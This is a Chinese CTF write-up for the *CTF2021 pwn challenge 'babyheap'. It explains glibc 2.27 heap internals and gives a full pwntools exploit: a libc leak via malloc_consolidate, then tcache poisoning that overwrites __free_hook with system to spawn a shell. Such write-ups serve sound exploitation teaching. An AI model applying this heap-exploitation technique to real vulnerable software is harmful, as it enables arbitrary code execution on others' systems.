write up *CTF2021-Pwn babyheap
绪论
*CTF的pwn的签到题,挺离谱的因为是菜鸡这一题我看的时候就只找到了一个漏洞点。现在结合一些大佬的write up也写一下自己的解题思路。
babyheap
上来我们先checksec查看一下该程序的保护机制
可以看到这是一个64位的elf可执行程序,保护机制是全开的,像这种比较专业的ctf比赛基本上也遇不到平常我们做练习的时候那样的题目,基本上没有栈题了,而且保护机制基本上都是开启的。
前置知识
做这一题之前我们需要不少的前置知识,首先附件给了的libc的版本是2.27,在glibc-2.26的时候加入TCache机制而且是默认开启的,所以解题的时候也出现了很多的变化,除此之外,要解这一题还需要了解malloc_consolidate()函数,由于fast bin中的chunk都处于被使用的状态,所以永远不会被释放,导致相邻的chunk无法与之合并,从而造成了大量的内存碎片,而malloc_consolidate()函数就是用来解决这个问题的。在达到一定条件的时候,glibc就会调用该函数将fast bin中的chunk取出来,与相邻的free chunk合并后放入unstorted bin,或者与top chunk合并后形成新的top chunk。
分析
作为一题签到题,在代码的分析上,这题还是没有为难选手的,基本上每个函数的函数名就是函数本身的功能,逻辑也不是很难分析。
add函数的逻辑
delete函数的逻辑
edit函数的逻辑
show函数的逻辑
leaveYouName函数的逻辑
这个函数就是我们可以利用的点,因为它申请了0x400大小的空间,上面也提到了,当我们申请的空间大于small bin的时候,就会触发malloc函数中封装好的malloc_consolidate函数,会将fastbin里的零零散散的chunk给合并放到unsorted bin里进行分配,如果和top chunk相邻这片空间就会和top chunk合并。
这里我们特意的申请16个chunk为的就是在free的时候free前15个,留一个防止与top chunk合并。
然后我们利用leaveYouName()函数,使得刚刚我们free掉的chunk合并放入small bin中,因为small bin里只有这么一个free chunk,所以这个small bin的fd和bk指针会指向main arena +xx,我们只需要利用show()函数打印出相应的地址再减去xx,就能得到main arena的地址,再减去0x10就能得到___malloc_hook__的地址这样就能泄漏libc基址了。
将这个small bin再分配回来我们就能够实现chunk overlapping了,继而就是通过程序的edit功能实现tcache poisoning修改__free_hook为system()后free一个内容为”/bin/sh”的chunk即可get shell
exp
from pwn import *
#context.log_level = 'DEBUG'
context.arch = 'amd64'
p = process('./pwn') # p = remote('52.152.231.198', 8081)
e = ELF('./pwn')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') # libc = ELF('./libc.so.6')
def cmd(command):
p.recvuntil(b'>> ')
p.sendline(str(command).encode())
def new(index, size):
cmd(1)
p.recvuntil(b"input index")
p.sendline(str(index).encode())
p.recvuntil(b"input size")
p.sendline(str(size).encode())
def delete(index):
cmd(2)
p.recvuntil(b"input index")
p.sendline(str(index).encode())
def edit(index, content):
cmd(3)
p.recvuntil(b"input index")
p.sendline(str(index).encode())
p.recvuntil(b"input content")
p.send(content)
def dump(index):
cmd(4)
p.recvuntil(b"input index")
p.sendline(str(index).encode())
def leaveYourName(content):
cmd(5)
p.recvuntil(b"your name:")
p.send(content)
def exp():
for i in range(16):
new(i, 0x10)
# 为了防止这片空间与top chunk合并
for i in range(15):
delete(i)
# 调用该函数使得fastbin里的free chunk合并,成为small bin从而泄漏libc基址
leaveYourName(b'arttnba3')
# gdb.attach(p)可以调试看一看堆里的结构
dump(7)
main_arena = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 336
__malloc_hook = main_arena - 0x10
libc_base = __malloc_hook - libc.sym['__malloc_hook']
log.info("Libc addr:" + str(hex(libc_base)))
#tcache poisoning
for i in range(7):
new(i, 0x10)
new(7, 0x60)
edit(7, p64(0) * 2 + p64(0x21) + p64(0) * 3 + p64(0x21) + p64(0) * 3 + p64(0x21))
delete(10)
delete(9)
delete(8)
edit(7, p64(0) * 2 + p64(0x21) + p64(libc_base + libc.sym['__free_hook'] - 8))
# overwrite __free_hook
new(10, 0x10)
new(9, 0x10)
edit(9, p64(libc_base + libc.sym['system']))
# get the shell
edit(7, p64(0) * 2 + p64(0x21) + b"/bin/sh\x00")
delete(8)
p.interactive()
if __name__ == '__main__':
exp()
edit(7, p64(0) * 2 + p64(0x21) + p64(0) * 3 + p64(0x21) + p64(0) * 3 + p64(0x21))
然后delete(10),delete(9),delete(8),edit(7, p64(0) * 2 + p64(0x21) + p64(libc_base + libc.sym['__free_hook'] - 8))
其结构和上面两张图差不多。
由于最后free掉的是索引为8的chunk,所以new(10, 0x10)得到的就是chunk8,因为利用edit函数的功能将chunk8的fd指针改为了__free_hook的首地址,new(9, 0x10)得到的就是____free_hook。
____free_hook一般情况下是空的,但是我们写入了system,此时的____free_hook不为空,所以当我们使用free函数的时候____free_hook指向的地址是system,是不为空的,就会执行其指向的内容,就相当于执行了system函数。
然后向上面说的free一个内容为“/bin/sh”的chunk,就相当于执行了system("/bin/sh"),就拿到了shell。